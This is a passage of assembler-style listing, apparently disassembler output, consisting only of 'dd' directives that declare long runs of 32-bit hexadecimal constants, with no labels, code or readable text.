6DD94518h, 0F21CD4h dd 38620729h, 350475F8h, 0BD27774Eh, 0C63C2120h, 71873869h dd 0BEAF570Ch, 97B233C1h, 0D4F527Ah, 0D64C5E9Ch, 0EF4B06Ch dd 11E81D39h, 0C34E3CEh, 21BC7460h, 2409F439h, 3AD0C4CCh dd 0E3E5B993h, 532FEF2h, 0F161B493h, 0B6206A7Eh, 39FAA0A7h dd 0CAD03E8h, 0DB0FC6F0h, 40CF7AAEh, 6804B9B4h, 0BC4500Ah dd 0F940580Eh, 5F01C3D7h, 0C4F74428h, 3BAEE82Ch, 905F42CCh dd 0C475034Eh, 8BA7B2F0h, 94BF6928h, 6A02B63Dh, 0B525EC2Dh dd 64E63F44h, 882DF451h, 0CF921ACEh, 0A4B52B3Ch, 0BC745137h dd 0EF1FDD0h, 0B649566Bh, 0B8181FCCh, 95C2AF35h, 0F9A0C36Ch dd 0F84DDDCAh, 0EBA17AC4h, 8CD5196h, 0B91F4AE8h, 5B36318h dd 38F4643Eh, 398C67E7h, 0BACE2D77h, 2B1ED790h, 995C5BE7h dd 3AE5AEB7h, 4B1DBCDEh, 68AF1F2h, 865DA342h, 0CD7718A7h dd 0ADAB660h, 0C1486F16h, 1602C1B3h, 0EDA35C16h, 0DF2F45EEh dd 0F3E9A184h, 0DC2F37FFh, 41A5E220h, 0DCCE4121h, 0FEE358C6h dd 29E65AA3h, 0D85EE43Dh, 0AFC5929h, 0C9ECF93Dh, 5408F828h dd 12E191E4h, 8B4144BCh, 18FCD1D0h, 9A77A9DAh, 170549D8h dd 0DD6B502Ch, 29107520h, 0B86E03DFh, 0CFC252CCh, 0FC0377DDh dd 9229FF9h, 0A805763Ch, 6CE94175h, 9963B3E1h, 0EA2CBE6Ah dd 9FF76526h, 34CA96B9h, 0C3D9C901h, 39C09D53h, 2AECAAABh dd 560CAA00h, 3C5DE30Eh, 25B3F02Eh, 114D79E6h, 69B87425h dd 9E381A2Ch, 0D916802Ch, 0D5E1491Dh, 0C4CEA53Fh, 2D15AFCFh dd 0C2FBB8DEh, 3D077F14h, 174E7406h, 0F24D89CFh, 0CB3AF9C6h dd 1603087Fh, 4E7143DFh, 10BF94C6h, 0C888712Bh, 4E951DE6h dd 1F05A45Eh, 24C06F38h, 0C60DB66Ch, 81CECDF7h, 48C75796h dd 7D11FDB5h, 0CDE64E3h, 0A83791C8h, 3D038781h, 2FB8B0F5h dd 883E57A7h, 37624E0Ah, 6E5B4F3h, 0E0ADECCh, 0DCF8DC28h dd 50A24D04h, 99F02288h, 0CFE09D26h, 23070C3Dh, 43790E9h dd 4F3B549Ah, 0EFBFD26h, 0C4FAEB7Bh, 5F06939Bh, 4512E15Eh dd 0E913F94Fh, 4674EC50h, 0AFF6902Fh, 3861FD00h, 64315FC0h dd 0D57EA07Bh, 40B31C3Dh, 6C8DB9D8h, 63CBBCDh, 74125D39h dd 0AC084194h, 293A3962h, 0D72261D8h, 34C34D02h, 825249C8h dd 0C6181FC4h, 2C2A93A3h, 0FD895882h, 792223BEh, 0FE4F55DCh dd 7C2C1E08h, 4806436Dh, 16AE99F0h, 9E537B5h, 44A80BB6h dd 0CF0D25D7h, 0A4111758h, 0C22CF2E9h, 6C6DAD85h, 3204FC28h dd 2462A7A4h, 66173806h, 7F3C9164h, 71AC6BF8h, 7A67D2EEh dd 0C6C66C27h, 23F1B5C0h, 9F07842Fh, 0C2C2F643h, 0E21D4BCAh dd 10015998h, 9A84FF70h, 2A5F40AAh, 9A32F63Bh, 90FEF739h dd 63BB8205h, 0D4D9CFB7h, 0DD61B5E7h, 3B0B8B63h, 0B130BD57h dd 0CA98EEA8h, 0D780E399h, 9CF683BCh, 1F095E2Fh, 20B38379h dd 4BD96228h, 6ED691CFh, 383467D2h, 20795EF0h, 378A3FDFh dd 73F76738h, 570CA670h, 1827F69Fh, 7C378AEDh, 0B8900911h dd 0B2E7B27Fh, 2076B0CFh, 44AE0955h, 78C235C8h, 0D430BB5Eh dd 0B9AF697h, 0D376895Dh dd 0A423499Bh, 0F74BC45Fh, 0BC678FAAh, 960CBEDAh, 44EBAFFDh dd 652D030h, 0CCDA862Fh, 0B1FAB910h, 24B644CEh, 0B68FB34Bh dd 156DB40h, 0E70D1D6Eh, 0E22B4E37h, 0E50A40C5h, 5D207FFDh dd 194E5A94h, 939775Dh, 45B327F6h, 0D5862839h, 0FA1CBB6Fh dd 0C298FFBDh, 0E3E134CBh, 0B70A91D9h, 0DF9B63D0h, 34FA071Eh dd 2BD32AE9h, 137C4EEFh, 22B26C12h, 0CA320DD8h, 0AA6937EDh dd 64FBA7E9h, 4AF342A5h, 0AFCE0F35h, 555B9490h, 0AF26F78Ch dd 3E3CE844h, 6506B81h, 7D2F2D75h, 5397FB9h, 244FFF1Bh dd 47B4C2BAh, 0FD75B378h, 6D27552Ah, 80313507h, 3D18B30Bh dd 657064B1h, 203601B7h, 215651C6h, 81923504h, 7274FBB8h dd 5F7B0E3Bh, 0CCF51F96h, 8C860FB7h, 4EA45CE4h, 371AEDEDh dd 92177113h, 46F70475h, 0DFCB04F5h, 30A5251Bh, 681E7FE1h dd 6B2987D5h, 0A5A84D9h, 0C5030D7Ch, 28CC1D3Bh, 0D75D0BBFh dd 0AD80FE16h, 7BF3B367h, 0DDB42647h, 4F01150Fh, 0F862C506h dd 392952F8h, 0C910E7D9h, 39AF42FCh, 0A44CB4AEh, 0F4F344D8h dd 0F8AE431Dh, 0FAAC7E3Eh, 0F6134164h, 0C62C4529h, 64DC9A60h dd 6EECDEDEh, 0E1AAD465h, 4D1689Dh, 7AFD325h, 5FEE0CA9h dd 3CA4B251h, 38E2B904h, 0E8574B8Fh, 7206505h, 5AD069E4h dd 7AAA6FEAh, 0C4AB6748h, 7CB50BD1h, 0E2CB662h, 16E21904h dd 1CA6334Dh, 8FC4E330h, 0FB4F7D28h, 9CA76D24h, 3CC9E665h dd 0FEDB6581h, 0DB2C0E53h, 43F4BF61h, 0EAD2B3E3h, 9B001D61h dd 0DC289C49h, 0A03942EBh, 0F913A02Ah, 1C5E1682h, 0F53726C4h dd 46799AE8h, 0E2B1753Eh, 0C82D4BC4h, 0D1F26912h, 1221C934h dd 0B5F3DB18h, 6CE3C20Eh, 0BD4CFA7Bh, 2A9EB181h, 0C70664ADh dd 0D0DAA43Ah, 30A1DE4h, 182C9328h, 0F3BC343Ah, 3F527163h dd 0ED54E37Eh, 8164B2C1h, 4A7E8CB8h, 176DC45Eh, 0FE33D531h dd 34081077h, 70CC015Fh, 58E4992Ah, 0F9B39847h, 0C4F57945h dd 0B502F1ADh, 837B9C0Eh, 622C9E33h, 14CE7575h, 5CBC888Ah dd 0BEAC9DE8h, 4BDE1CADh, 446DBC5Fh, 6BEBFBA1h, 0D8EFF524h dd 0FDC9376Bh, 64D10466h, 0FEAC0553h, 69EE442Ah, 0BA4BC299h dd 4702FE2Bh, 554E61Bh, 44AC7AEBh, 0E77661B0h, 0EDA48218h dd 5BB86E74h, 48A3C10h, 0D5849FC8h, 0FC2A1AFDh, 0E44C5E29h dd 5A947593h, 552D5244h, 6404F382h, 3EFD7D5Ch, 0BFA5EA82h dd 0E069F28h, 453AE62Dh, 0F5E8530Eh, 2AF5F82Ch, 7D367ED8h dd 0FA4DB3E4h, 0DA5D85E0h, 392A4C04h, 7F4A452Ch, 3FA5547h dd 0E77A1BE0h, 0DF0FD902h, 12BC3F3Fh, 0E73BD27Ch, 8EC7B476h dd 0E0177E2Eh, 0AC05451Fh, 0B81F5DE8h, 7AE2D852h, 16C29E18h dd 0CA606744h, 0B6210B69h, 9F0CED21h, 57D15F6Dh, 6A526E3Eh dd 3D5B86FBh, 150D77E6h, 0B1F67C48h, 33D45812h, 3FD15BB3h dd 4D86FAF5h, 87E15D22h, 4E3740AFh, 0D0FA2C62h, 0BD67ACF7h dd 0D193471Bh, 0E3AFE91Ah, 78F18CE7h, 0B104AF63h, 0F2EF868Ah dd 4F378A4h, 13D43B3Ah, 780E0C29h, 2C01031Bh, 477D125Ah dd 681F0D61h, 5B096C0Fh, 0D0F1B669h, 0F95803F5h, 0C4F6BC32h dd 0BEF96C0Eh, 0ECEA8710h, 39655DD8h, 32280020h, 0DD3288AAh dd 8DDB03C1h, 0D9EE9481h, 0FEBB3D04h, 227C1B5Bh, 0EEBDB281h dd 0DA10DE3Fh, 0B9A53A62h, 29AF4A12h, 51DCE678h, 3F72BCE6h dd 0CDD2C5EBh, 0AF0C530h, 4813DC1h, 0E22F2E6Dh, 10909DFEh dd 13000137h, 4E3DEEFCh, 920CDE39h, 7800ECCCh, 68F77F18h dd 9C9855C5h, 6EB34A9Dh, 0DA30EFE0h, 84F8035Eh, 74F4173Bh dd 0F7B7077Ch, 74C320F0h, 0E0A572B8h, 36885CE4h, 0E74CC01Bh dd 6A73F3Dh, 0AD1C2267h, 0ADBD7EC3h, 22B7DE4h, 36011E52h dd 0A777EB90h, 385CDBDFh, 717C0AFFh, 49FAF73Eh, 0BF05B3FAh dd 0D82A1EB6h, 2E57BDCh, 21C2F17Ah, 84E04290h, 0DC7D634Dh dd 9CF57534h, 33D0E442h, 0C8AD3A17h, 1CAC86C3h, 20F6BE98h dd 0DA9374ACh, 0FAF6FEBh, 4A90AA2Ah, 77068A4Bh, 10967467h dd 0DBE6B809h, 5496F301h, 9A44AF91h, 0B3461C39h, 24ED6E54h dd 0FD6159BBh, 5990DD0Dh, 0FC61CC44h, 0FC4D3B25h, 20C6158h dd 0EB06C53Fh, 7A4DCFC9h, 92177B1Bh, 33AA60BCh, 0CB91F09Ah dd 5A0CFC6h, 0C9225DF4h, 0ABF2B724h, 166787C0h, 0F289310Dh dd 0BDEF25D5h, 0C46054C8h, 5A621CADh, 4A1A33E9h, 211BD408h dd 35245AEDh, 0C420D7DCh, 24707AD8h, 0EA1D9E47h, 0D35934h dd 95E2921Ah, 3B5E3B36h, 86FF59F1h, 7C58A0C3h, 8EE142CCh dd 4BD94540h, 98F3F32Dh, 2A4189EDh, 6409FED9h, 3E30FC9Dh dd 0C8FC332Eh, 3CB2AF1Eh, 0D944313Eh, 5691BEF8h, 72E4DA4Eh dd 0DB587517h, 0AAFC42C0h, 0EEFEF585h, 21D1440Fh, 1CF45135h dd 9C614D09h, 22BD9C0Ah, 0F4879B36h, 3F7E816Eh, 718E7134h dd 91849F66h, 2490011Ch, 5964E84Bh, 0E42D87C1h, 0AF0A2FBCh dd 0CE060FFAh, 20389EA9h, 2063D697h, 0CC506FE0h, 0FCE4C22Fh dd 0C323E0AEh, 7C34750Eh, 0F930A224h, 0E1262BF4h, 0E560C4EDh dd 7F859E5h, 0E8A4FA42h, 9CE13533h, 0EE9E5500h, 3AD4303h dd 0BE22E7EBh, 0CF6FA5FCh, 0ED56B4E2h, 37BE2BAh, 8425299Dh dd 238643Ch, 0C7D16549h, 452FD4D8h, 95F59BA9h, 76BD7567h dd 0CB25D0A9h, 0A4DB9CC8h, 0ADBB529h, 0AB92E5DDh, 0A58B65B9h dd 14307EBBh, 0C0E5FFAAh, 7DC4EBDDh, 0E10CA854h, 448010CCh dd 0FE9C497Ch, 9A33DCADh, 7554BDFEh, 0A62E8A67h, 2658A72Ch dd 0D5E8F4F5h, 31DB5867h, 0FF12CE8Ch, 4007DE3h, 8FCDB8F4h dd 0F2F6952Bh, 0F93D45F1h, 3D679F47h, 0BFD6FE2Eh, 35CBAB2Fh dd 7114CCA9h, 0B650455Ah, 39FD2543h, 0E07F80FAh, 0A6ED377Ah dd 773C57F4h, 708D9FC5h, 7A7B37F0h, 9B9CA1FEh, 2F2E6AB2h dd 0CE207808h, 0B2EF8083h, 401AEDAFh, 0BBDF74BBh, 3E45B264h dd 0C9C9BE0h, 2F9E1CAFh, 42029B93h, 2673F9C8h, 4E16D563h dd 64807DEBh, 2BAD03FBh, 0BA204B56h, 25861D35h, 450E2196h dd 0C81005A7h, 79B0CA22h, 483734CAh, 0C0F5157Bh, 0E1A1023Ah dd 5FF89135h, 1C7B7E1Bh, 0D934AB6Eh, 155843A5h, 42001D39h dd 175CF993h, 25313128h, 0C8804363h, 0AE367784h, 229DB2ABh dd 0DCABC888h, 5C71DE0h, 52132E1Ch, 7D6C0FA7h, 873DDD4Eh dd 6C99DBE1h, 909CEFCh, 0B680B387h, 0BC14E011h, 402CEE86h dd 762C9BC2h, 6FD9FEE7h, 0D2E3D1B7h, 2C4942B8h, 6922FCEEh dd 0B473BD33h, 5734CB09h, 7F1E5F41h, 3EF5199Ch, 20C6CF7Dh dd 6410BDFBh, 821F07D6h, 6D78771Bh, 126E5B20h, 79C21FC3h dd 417FDDE9h, 0ACC0138h, 0A30E1B84h, 0F5553FABh, 0C7D0A99Eh dd 4D61D96Dh, 0DDE8E478h, 246B329Ah, 860FB261h, 0F7F1B4EEh dd 94706DFBh, 0F476518Eh, 48340DD1h, 0EAAFBEAEh, 0B902AA19h dd 89033D33h, 8974B296h, 75209FE7h, 0ED52563Ah, 0A13421DCh dd 0DC286FCEh, 0B8266B65h, 0F11913AFh, 0F55AE880h, 764822B5h dd 6FFF9FBCh, 0EAF184AEh, 4725BE55h, 25ADB55Dh, 0BEFDAE5Ah dd 0E390D526h, 1931C50Eh, 722BB7BEh, 0AB23F24Dh, 6DD83295h dd 7E5B1570h, 54068D2Ch, 930F69D4h, 8F800235h, 4D6782A1h dd 7DCBC202h, 2E97B9Ah, 0F52136FCh, 0A1375E93h, 0BDDF02CEh dd 0F0217912h, 682500A8h, 5C66B602h, 0D56745C0h, 383CC9D6h dd 0F9EA2DF4h, 7C21834Dh, 685BACB8h, 36D16215h, 860C13A9h dd 0FE8C5D5h, 1B03EC3Eh, 0E4416AC4h, 7274170h, 681474A7h dd 4E60F1FAh, 57335D18h dd 29EC8B2Dh, 1B052F80h, 137EF9F8h, 841DC87Ah, 0B2B4894Dh dd 1489A520h, 0B4834B80h, 7A30A9FCh, 0A3EB0591h, 6ECB36E1h dd 900871FAh, 0B71DA4FBh, 8F2D509Eh, 58FB1E91h, 71F9D50h dd 23F7A0ACh, 0DF90F2B4h, 0B105C54Ah, 5B04D7D8h, 99A5B3C7h dd 3C093EA9h, 44C6DE7Ch, 0B4B65C13h, 2C97DBF4h, 80CCD278h dd 767E51F3h, 43CA8A96h, 0CEF99FD4h, 0D6D17005h, 5375E935h dd 15051CABh, 39305F78h, 36F5B0FCh, 8486F562h, 45D52C1Bh dd 77C9EB4h, 40C6A7FAh, 6BFDA367h, 7D70EBFDh, 0A2092E84h dd 0D2B07BEDh, 0BC271021h, 0FA0F06BCh, 0C4F4ADB1h, 3C145E32h dd 7797ADC6h, 2FF2139Ah, 653167A7h, 5E995C0Fh, 98B89D9h dd 3C219AE3h, 331DA464h, 41BE7902h, 1EEC7642h, 7DCCB6C7h dd 0CF53DF0h, 150083CAh, 0FCF5DBD9h, 0CF1C2412h, 710BFE07h dd 371F0AE8h, 0F5197CF4h, 68D195ABh, 41AEB79Bh, 63ECB23Ch dd 0C47A5C1Eh, 0CBB3305Dh, 67873153h, 0F3E71988h, 42AEC368h dd 9A021FF8h, 0AAB2B07Fh, 45CA46A8h, 0C6D97648h, 0CB1D703Eh dd 60EE63C6h, 27E2D12Ah, 64D409BEh, 3001408Bh, 548277DEh dd 0DF2CE44Fh, 0B55CAAD8h, 3C01471Ah, 450DFE20h, 18FBC3F5h dd 0E12D78EAh, 0F7F59DEEh, 1CEE8ABCh, 0DEF6F5DDh, 0DD6F479Ch dd 0DE4B85Fh, 6FD48E4h, 0FEAD8DCFh, 89C8AA1h, 994CB1FBh dd 3E538735h, 46F5F7A6h, 8428A73Eh, 1F3EB17Ch, 0E6C52C0Ch dd 0ED35F04Fh, 47E48EEFh, 9CF5B3F1h, 580CB35Fh, 0F2EE15D8h dd 0AAE10185h, 0B121E63Fh, 0CCE28A0Eh, 5884F9BAh, 9949754Eh dd 375B5AEFh, 0A5C402Ch, 10E26F08h, 4FF471C3h, 0F51063A0h dd 0F2F30578h, 0E20051Fh, 0FBA10AD9h, 0B960C146h, 8A59E71Bh dd 80714F4h, 7D39B418h, 0CE097B51h, 680BCF3Ch, 0B7FDBCFEh dd 84F9B429h, 11ADA9A5h, 1D37A1DEh, 0AA9B08CCh, 0C301EF95h dd 66A979F6h, 70F3B9FCh, 0A81ABF3Bh, 146E54E5h, 78905B59h dd 4F2E90AEh, 104F4DD0h, 0C3094728h, 19C542A6h, 823ABFEEh dd 653D47F3h, 2A2D58CAh, 0F42C6EF7h, 0EB39318h, 948A185h dd 5F6A2AA1h, 4460F6A9h, 1CE3576Ch, 622AEF8Ch, 0FF3C6AE5h dd 0C729FE68h, 58A5FBB8h, 0FCE2E4F0h, 312788A7h, 0C30C6D1Ch dd 0C511B7F8h, 5F3C6B36h, 541880FCh, 626967BEh, 5C4F7EC7h dd 57E15CDh, 7DAE1DDDh, 0E1B774F8h, 0E92E7E11h, 0D07C897Eh dd 0AB220428h, 5FA6EB44h, 273AC9B1h, 0F983F80Ch, 8FFBF8D2h dd 9E04B04Bh, 0E12A5D97h, 873CE8DEh, 0C8EC9A63h, 0DF8D66C6h dd 38648116h, 9F369139h, 9DC43637h, 0EFAEBB40h, 73D8ED13h dd 0B41F073Dh, 364C5912h, 0D028BF57h, 1EA1182Dh, 0BB17D966h dd 0A19F716Bh, 454D6FCFh, 0CC48B9E1h, 5202B284h, 7CB1A1DBh dd 0FCE04D75h, 0E8EB2B54h, 40016C8Eh, 2C9CA425h, 3F3C484Fh dd 0D5347520h, 7972E80Ch, 113A79AAh, 0D8A95353h, 79194CC8h dd 0F4C6323h, 0C9AD5DF4h, 0BA20EAE1h, 77BC625h, 98EC69D7h dd 0D0D675D4h, 0CC6C94FDh, 0F69442Dh, 0D37101DEh, 9DF1DE4Bh dd 274F7225h, 0A764D0h, 0FF0F66D2h, 0E84F7657h, 0C4FB6D65h dd 0DB098A08h, 66C49DCBh, 313DF1A5h, 0B82818D3h, 0E97D781Bh dd 4BE9AFADh, 9FB75F8Ah, 0F2EFCBDCh, 0FDFA7566h, 0FDF0658Dh dd 6F248E07h, 0D4E91969h, 7B0CFC0Ch, 0ED4EB237h, 22AF73Fh dd 110C719Ch, 6829278Ah, 9CF26FE8h, 206E5C3Fh, 0FC18B826h dd 95A364C0h, 290D46A0h, 0E269838h, 183A6084h, 0D7071907h dd 0E010475h, 9C74FC2Fh, 0D739B1EDh, 44FB888Eh, 57F56D49h dd 1F28775Ch, 3A5745FEh, 0F7552042h, 95BDAC4Bh, 24BEB7C0h dd 607C1DFCh, 3372FFC9h, 7D34B36Ah, 0EA0390FBh, 0BEB7512Dh dd 0EFD8C4E0h, 85C488CBh, 0DE023508h, 0B9805A81h, 6F613CD9h dd 0B5B1362Bh, 50EC9C57h, 184D6BCAh, 7FF051E0h, 0C237E0AEh dd 0E251352Dh, 48B96854h, 1036F31Bh, 0CB1F7DE4h, 9D0B38E4h dd 4292753Fh, 0AC86C72Ah, 0FED075E7h, 0E215C524h, 0D185E90Fh dd 7565762Fh, 7D5B4821h, 0F9D14AEEh, 22B59BC7h, 7066958h dd 7D66A44Dh, 9790C3E9h, 22324638h, 0F53B3BFh, 0F2024E84h dd 1C37BCA8h, 960C0D32h, 7A2ADEF6h, 69A35DDBh, 0E8D893D5h dd 0D4EC0415h, 9C81453Eh, 0ABC1BF3Ah, 15668123h, 5F3ABF9h dd 0F608E1EEh, 2441EA18h, 57B6F032h, 7DBCDB3Fh, 0A9EE1CF3h dd 0F4D41A67h, 0CB38BC27h, 0DC933802h, 0C51B1F8Ch, 0E978674Bh dd 0E3F6273Ah, 0C771AF8h, 3A118BEAh, 0C895FBA9h, 21BB9539h dd 85B1E462h, 0FCFDBBE4h, 686D7EFEh, 0CF539ED9h, 4C3FCDD0h dd 4D588A34h, 0C7F3E575h, 36980C9Ch, 573B8FCBh, 0A9E5985Bh dd 0C3A4AC08h, 1EB44E0Dh, 41688BF2h, 2720757Eh, 0CE0C6EEDh dd 24BDB579h, 0E03D9974h, 3EEAB6AAh, 78296B6Bh, 23BF94DBh dd 2118A7A4h, 50F230Ah, 0C1EFA7D2h, 0E13F1ED7h, 0CCECA479h dd 426C8ECBh, 981DDBC5h, 0E2AF7F7h, 0CB0EEEEEh, 0D3C6887h dd 13F3C70Dh, 0C021E0Bh, 0F00A28DCh, 22B0A5DFh, 771F05ABh dd 43D9B4C8h, 0C2EC79ADh, 0BA021CB1h, 558D43C8h, 0EE17C96Fh dd 0C0CE5DEEh, 0BD94167h, 0AAD19C61h, 87D9380h, 0D5EB494Ah dd 2BAE186Bh, 7DD4B9A7h, 6B2C0139h, 98E1FEDDh, 6C4A5D55h dd 41E51F97h, 0D4044316h, 0AE34BC9Ch, 0D44BE108h, 69D83CD8h dd 0D3141DF4h, 560CB4A1h, 0DD242CA6h, 0B45240Fh, 0CBCD21CCh dd 0C1E46E7Bh, 7DC6B49Ah, 17A48304h, 0ECFE997Ah, 818C9FB8h dd 0D5D001E3h, 0EC3337A6h, 0DE10C813h, 458E1FCh, 0AB347C47h dd 6328FCC7h, 2D50D039h, 9F6AA8CDh, 0C363A09Bh, 0D41E73AAh dd 0DB03657Fh, 90A72E06h, 3D8B2C39h, 78B39D3Eh, 66B6547Bh dd 910EA337h, 25060AF6h, 1CDE417Ch, 23296ADCh, 26F881Ch dd 3478092Eh, 6E200C69h, 7F5B5CD2h, 3A5C1963h, 0D61B1DEFh dd 0C066DB2Fh, 0BC44757Fh, 17442085h, 0C03A5326h, 91BDFE72h dd 0FDB5C035h, 797166A3h, 0F886354Ch, 84822A50h, 0CDC76123h dd 0A7EFD914h, 0C2D190DCh, 79FEFE70h, 0E937710Fh, 0F5EBBD46h dd 0C3C21C4Dh, 9B25385Bh, 700C9CCCh, 0E02D73A7h, 4E7BC28h dd 4E33F11Bh, 0FB57876Dh, 182F65FFh, 377D7B81h, 71DA14C9h dd 8262BEEEh, 995ED13Ch, 6C40437Ch, 0B68D4280h, 0FF915AF8h dd 6F189FDFh, 0C9331320h, 0AAB67763h, 0F62AC716h, 0F5A9C7B5h dd 7BF02DF8h, 0E9644B0Bh, 0BA62EF81h, 0AD06AE0h, 56EB6E95h dd 0A0E4B6DAh, 7D3CBFC9h, 6ED16A5Fh, 7205ED67h, 7DFF6BB8h dd 873C8912h, 0A1C0DE1h, 39107367h, 0D03A9452h, 0FAD8441Ch dd 8E995463h, 0B5F3864Bh, 11700AF8h, 0C29F2B42h, 0CAFFCDEBh dd 0E9880157h, 588DC9CFh, 0E82B826Eh, 77BC6EA2h, 718C7394h dd 0E5021D3Eh, 4F5AB9CAh, 57F324ABh, 78ED0B7Eh, 680AC4D1h dd 50EBFFFEh, 31354B2Dh, 0BB225FAEh, 0A7B8345Dh, 716135FBh dd 5A31055Ah, 56FEE4F8h, 3985F85Ch, 0FDF48F01h, 253C4784h dd 1C758121h, 5D4DF046h, 38EC1738h, 1267F22Dh, 0BE2A550Eh dd 0A0E28A2Ah, 0FF806482h, 2B35552Ah, 0AE85BAEFh, 0B6000379h dd 4F1D1EC0h, 539D3E03h, 0DFD10356h, 39EDC339h, 2BF28C0Ch dd 29AFC45Fh, 870F422Ch, 0D6D004E0h, 0CC060172h, 1D36E63Fh dd 581DC63Ah, 0EA30D44Ah, 0E7E46734h, 0BDD4B2C7h, 0D5E22D3Eh dd 0C1E5092Dh, 8D85D999h, 7C2A45DAh, 0C9C97D2Eh, 160C79F3h dd 0FC04CA55h, 646A0A06h, 0DFE52901h, 0B78AF793h, 0F0E92C6Dh dd 0CEE9EB84h, 0DF9D31A0h dd 2C255C3h, 0E4044D3Dh, 242B91E0h, 0E3E906ADh, 0CE934BE4h dd 400E4733h, 62F5584Ah, 43F46D38h, 9DA758A4h, 3DD57933h dd 0D9B95810h, 45DA598h, 0BD01ABE2h, 0F82706B5h, 78976220h dd 6E24273Dh, 33F438C3h, 51CDBF64h, 0C0EA05CCh, 5C820654h dd 7012C553h, 0D6ADD2F6h, 0DCEA94BFh, 0D456A7F9h, 8C664D10h dd 0F4F257F9h, 6503B004h, 423636C4h, 64E088Ch, 0EE0D76B1h dd 29A4E7ECh, 38C57C4Dh, 77074A6Ch, 4F74E13Ah, 0D5DCDB2Eh dd 115ACC7Bh, 7E2F89EEh, 0FFA076E7h, 0C70F829Bh, 0DF056990h dd 20CEB36Bh, 6836444Dh, 0D896CCFFh, 0DDEBCA53h, 174FA7ABh dd 0BFDCBF5Fh, 0FBEB3AEAh, 5349360Bh, 0F9BB4AD9h, 99588A59h dd 0BB8C4A7Eh, 95523136h, 0B97C89A6h, 0D1296384h, 0D02E13A2h dd 532FC83Ah, 0C8973F91h, 0DA8A0A8h, 5618055h, 0A5346E1Eh dd 9284F2FAh, 0D975178Dh, 0BE5947A6h, 0B020E1C9h, 63018A92h dd 89A6B81Bh, 0AC4E7961h, 4EAF7E3Bh, 2B9658h, 0C0AAC573h dd 0DC764461h, 41E990F4h, 5613FCF7h, 4A36318Fh, 0CDAFB121h dd 0BA8B58D1h, 0CE0E7D2Ch, 5EBF552h, 0C8647719h, 0C04B593Ch dd 366AB431h, 7C31FA30h, 3F2E02F5h, 0C8DE7552h, 9CB0702Fh dd 271B819Fh, 0C48C73F0h, 299F7DA5h, 64696324h, 0B1D770F6h dd 8D6D452Dh, 0D22CAC2Ch, 0EC624EFCh, 76D513DCh, 0BD25BAE8h dd 498D00Ch, 0B70310EDh, 0ACDE30B8h, 0BC297CD8h, 8AB0FAF3h dd 0F2A78710h, 7D5BA5EEh, 78EF223Fh, 0C858457Ch, 712A436Ah dd 3DC10312h, 0B40B7F10h, 78B4FB3Dh, 0DA5A5635h, 8FF8E259h dd 0C538E83Fh, 0B63E5B6Ch, 68EAA578h, 29015E8Eh, 7428F0B5h dd 31C8BA9Ch, 7D2410B6h, 9C968437h, 0FCE748Eh, 7DE618A8h dd 0FB83AFA9h, 864C4C18h, 0A735C0Dh, 0CF14403Dh, 0DA039795h dd 88BC88A2h, 167E0F7Ch, 75864514h, 0D89B58DAh, 458B4C39h dd 7F67B8FFh, 6BB0C1E4h, 4E1EBCD4h, 0B1D52348h, 2F36E872h dd 0C25B9FFEh, 0D6FB458h, 2F0262EFh, 20FDB7A5h, 471AB58Ch dd 24CB3C22h, 78051B9Ch, 42C1B59Ah, 0DDFF660Bh, 0CC5A7EDCh dd 0E48D56B5h, 112760CEh, 0A1268EFh, 8C166735h, 17317638h dd 0A84C48F6h, 0C9347EEDh, 2B03E7F5h, 0D8FB7B28h, 3938AE2Ch dd 0B1ECEDABh, 0E9FBFAF0h, 0CABB90E0h, 0B0188779h, 4E30F1FAh dd 0FF49D6Ch, 0F5EF4E84h, 30E423C5h, 0C18229D9h, 65D0BDD1h dd 36EB1BEAh, 6B0F5D3Ah, 79C5710Dh, 0CE1DC835h, 0C04E1DE1h dd 0EB4CCB5h, 9930BB1Bh, 8716F5EBh, 0C9D8E7A9h, 0C0F7C367h dd 0CECE99Fh, 0CE765BA4h, 474C760Dh, 0A3E590E0h, 960FBA0Dh dd 0DBA2904Eh, 0CFD8814Dh, 4DA0BFA6h, 61351E2h, 51CD99D7h dd 7BD4555Bh, 0D9A8EA80h, 41B5B319h, 4B391A38h, 63D766Ah dd 0FFADB5F9h, 14EA5658h, 0E8287ABEh, 5E2D3AC8h, 0F8EA057Ch dd 0D37A8654h, 0B5A50129h, 0BF23E4CCh, 95E81254h, 0FF21424Eh dd 0B1371EAFh, 5FAD9C88h, 956503EAh, 0BAEF77E9h, 0EE0FE348h dd 0A803DFC1h, 53DDC17Dh, 6C272EAEh, 9C90D039h, 0E9283C5Bh dd 0DB366611h, 8EDC3748h, 0A931E531h, 0BE4B06Ch, 0DCF32ED9h dd 3A4BC6D1h, 3014487Ch, 7EEF8E99h, 0DEFC17A0h, 5FBB9018h dd 8E72EF7Eh, 0FB4C6BEEh, 0FC95A0E3h, 0E84D710Bh, 807B72D9h dd 0AABC4FA7h, 0A5BE7F96h, 6D66BD27h, 0AD634722h, 0C09DAB68h dd 732458B9h, 2F6C6D22h, 372EB9F9h, 0FE36D44h, 29FBE28h dd 3D1DFFFAh, 5276B095h, 94AFE01Ch, 7CDDAB14h, 5C959619h dd 6D67EFCh, 0F2F2F8FBh, 75EDE7AEh, 242A9434h, 35A95E4Ah dd 107D4440h, 0BC287CCFh, 9F06EE74h, 0C02813C8h, 4137AD3Ch dd 9A6F9133h, 39B271FCh, 0B25361Eh, 0F02E40FFh, 3F41F84h dd 54AE5AFEh, 34B67B58h, 2EAE69Eh, 0F473499h, 24D63898h dd 0E33A1AD8h, 0BDCB3B24h, 0D24C728Eh, 0B79F6226h, 0CDFF7A89h dd 3F027A59h, 351BB484h, 0EE1F7A1Ch, 0CA5EF687h, 0D4CEFB96h dd 91BDD2BFh, 0BD18035Ch, 0C2706384h, 0AD6CBF20h, 24E2C7E0h dd 14EE4EB6h, 3BAF5A4Ah, 0CD4687A8h, 0CCEAFE66h, 49D90668h dd 1FE6CC0Bh, 0C9D56DE4h, 0D2772062h, 150CD4B7h, 6B2D5E71h dd 558B18E2h, 44B35840h, 550BB797h, 334C7C61h, 3E66CFF9h dd 8FD1AFCAh, 0ECFD002Fh, 3D4D1C9Ch, 1F3603E6h, 2609E408h dd 71BB6487h, 5BF4698Ch, 48BC3190h, 4D648867h, 0C4D17217h dd 0BE3071DBh, 872D78EBh, 0BCF845FEh, 0CE216683h, 0B908158Eh dd 55D4B2BCh, 3F9EEC53h, 0FB1D61DDh, 642C1957h, 6C796518h dd 0D26CA7A2h, 0C1526364h, 0D60CFEF3h, 0C5EF51B2h, 951C1306h dd 0E9CE9984h, 10EBF6F1h, 0F80BF40h, 0A71AD59Ch, 0C25D557Fh dd 4716664Ch, 7FF2CD20h, 8D0ECD83h, 0EF5D53Ch, 9D36C835h dd 262AC035h, 